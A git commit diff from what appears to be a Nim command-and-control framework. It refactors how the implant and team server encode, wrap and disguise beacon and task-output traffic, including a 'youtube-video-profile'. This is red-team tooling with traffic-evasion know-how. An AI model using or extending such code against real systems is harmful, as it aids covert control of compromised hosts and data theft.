Removed redundant code in data transformation implementation.

This commit is contained in:
Jakob Friedl
2025-11-19 15:39:36 +01:00
parent 72bc732c89
commit 8468cfdab7
6 changed files with 56 additions and 89 deletions

View File

@@ -1,4 +1,4 @@
# Conquest default configuration file
# Conquest youtube video profile
name = "youtube-video-profile"
# Important file paths and locations

View File

@@ -5,16 +5,10 @@ import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of protect("hex"):
heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii()
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Apply data transformation
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
var body: string = ""
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
@@ -25,12 +19,6 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
var body = ""
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of protect("header"):
@@ -63,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
let
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of protect("none"):
return encResponse
# Reverse data transformation
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -100,21 +79,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
# Apply data transformation
var output: string
case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
of protect("base64"):
output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
of protect("hex"):
output = Bytes.toString(data).toHex().toLowerAscii()
of protect("none"):
output = Bytes.toString(data)
# Append/prepend strings
let
prefix = ctx.profile.getString(protect("http-post.agent.output.prefix"))
suffix = ctx.profile.getString(protect("http-post.agent.output.suffix"))
payload = prefix & output & suffix
var body: string
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
var body: string = ""
# Add task result to the request
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):

View File

@@ -4,7 +4,7 @@
--opt:size
--l:"-Wl,-s"
# --l:"-Wl,-subsystem,windows" # Prevent console window
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="false"
-d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,6 @@
import parsetoml, strutils, sequtils, random
import parsetoml, strutils, sequtils, random, base64
import ./types
import ./[types, utils]
proc findKey(profile: Profile, path: string): TomlValueRef =
let keys = path.split(".")
@@ -74,3 +74,37 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
if key == nil:
return @[]
return key.getElems()
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
var dataString: string
# 1. Encoding
case profile.getString(path & protect(".encoding.type"), default = protect("none"))
of protect("base64"):
dataString = encode(data, safe = profile.getBool(path & protect(".encoding.url-safe"))).replace("=", "")
of protect("hex"):
dataString = Bytes.toString(data).toHex().toLowerAscii()
of protect("none"):
dataString = Bytes.toString(data)
# 2. Add prefix & suffix
let prefix = profile.getString(path & protect(".prefix"))
let suffix = profile.getString(path & protect(".suffix"))
return prefix & dataString & suffix
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
# 1. Remove prefix & suffix
let
prefix = profile.getString(path & protect(".prefix"))
suffix = profile.getString(path & protect(".suffix"))
dataString = data[len(prefix) ..^ len(suffix) + 1]
# 2. Decoding
case profile.getString(path & protect(".encoding.type"), default = protect("none")):
of protect("base64"):
result = string.toBytes(decode(dataString))
of protect("hex"):
result = string.toBytes(parseHexStr(dataString))
of protect("none"):
result = string.toBytes(dataString)

View File

@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
{.cast(gcsafe).}:
# Check heartbeat metadata placement
var heartbeat: seq[byte]
var heartbeatString: string
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
@@ -58,19 +57,8 @@ proc httpGet*(request: Request) =
else: discard
# Retrieve and apply data transformation to get raw heartbeat packet
let
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64":
heartbeat = string.toBytes(decode(encHeartbeat))
of "hex":
heartbeat = string.toBytes(parseHexStr(encHeartbeat))
of "none":
heartbeat = string.toBytes(encHeartbeat)
# Reverse data transformation to get raw heartbeat packet
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
try:
var responseBytes: seq[byte]
@@ -89,27 +77,18 @@ proc httpGet*(request: Request) =
responseBytes.add(task)
# Apply data transformation to the response
var response: string
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
of "none":
response = Bytes.toString(responseBytes)
of "base64":
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
else: discard
let prefix = cq.profile.getString("http-get.server.output.prefix")
let suffix = cq.profile.getString("http-get.server.output.suffix")
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
# Add headers, as defined in the team server profile
var headers: HttpHeaders
for header, value in cq.profile.getTable("http-get.server.headers"):
headers.add((header, value.getStringValue()))
request.respond(200, headers = headers, body = prefix & response & suffix)
request.respond(200, headers = headers, body = payload)
# Notify operator that agent collected tasks
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
cq.info(fmt"{$response.len} bytes sent.")
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
cq.info(fmt"{$responseBytes.len} bytes sent.")
except CatchableError as err:
request.respond(404, body = "")
@@ -124,7 +103,6 @@ proc httpPost*(request: Request) =
try:
# Retrieve data from the request
var dataString: string
var data: seq[byte]
case cq.profile.getString("http-post.agent.output.placement.type"):
of "header":
@@ -146,19 +124,8 @@ proc httpPost*(request: Request) =
else: discard
# Retrieve and reverse data transformation
let
prefix = cq.profile.getString("http-post.agent.output.prefix")
suffix = cq.profile.getString("http-post.agent.output.suffix")
encData = dataString[len(prefix) ..^ len(suffix) + 1]
case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"):
of "base64":
data = string.toBytes(decode(encData))
of "hex":
data = string.toBytes(parseHexStr(encData))
of "none":
data = string.toBytes(encData)
# Reverse data transformation
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
# Add response headers, as defined in team server profile
var headers: HttpHeaders

View File

@@ -1,4 +1,4 @@
import times, json, base64, parsetoml, strformat, pixie
import times, json, base64, parsetoml, strformat
import stb_image/write as stbiw
import ./logger
import ../../common/[types, utils, event]